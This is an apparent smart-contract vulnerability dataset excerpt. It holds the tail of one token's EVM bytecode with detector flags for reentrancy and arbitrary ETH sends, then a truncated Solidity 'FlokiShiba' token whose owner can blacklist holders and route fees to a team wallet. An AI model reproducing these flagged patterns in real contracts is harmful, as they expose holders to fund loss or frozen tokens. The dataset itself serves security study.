86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f546f792053746f72790000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a611adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d03883d3af9ea69fd5bd8910781c0081f77b5e684a7ae15557ae5cde3d6349164736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,628 |
0x58430b9d864af7936e16cfe8e38ac8b0d5a1c83a | /**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Floki Shiba ";
string private constant _symbol = " FShib";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
